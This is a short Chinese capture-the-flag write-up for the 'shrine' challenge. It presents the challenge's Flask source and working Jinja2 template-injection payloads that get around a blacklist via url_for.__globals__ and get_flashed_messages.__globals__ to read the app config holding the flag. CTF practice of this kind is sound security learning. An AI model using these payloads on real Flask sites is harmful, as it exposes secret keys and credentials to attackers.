[WesternCTF2018]shrine flask模板注入ssti注入
SSTI模板注入类型的判断方法
打开靶机:
获得源码
import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
发现在/shrine/后面进行注入
@app.route('/shrine/<path:shrine>')
注册了一个FLAG的config (这星期要学一下flask了)
先测试一下存不存在ssti注入
(存在)
正常来说可以直接{{config}}直接获取config内的内容了,但是由于过滤了所以只会返回none;
这里可以用到两种句式:
{{url_for.__globals__.config}} ---(关键点在globals)
{{get_flashed_messages.config}} ---(创建一个闪回点,访问config内容)
首先先输入payload为:{{url_for.__globals__}}获取全局信息,得到current_app,然后访问当前Flask.app的内容
其次的payload为:{{url_for.__globals__['current_app'].config}},便得到了flag
yysy,要是比赛也那么简单我也不用那么菜了。
还有种方法:{{get_flashed_messages.__globals__['current_app'].config}}
一样可以得到flag
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15273072.html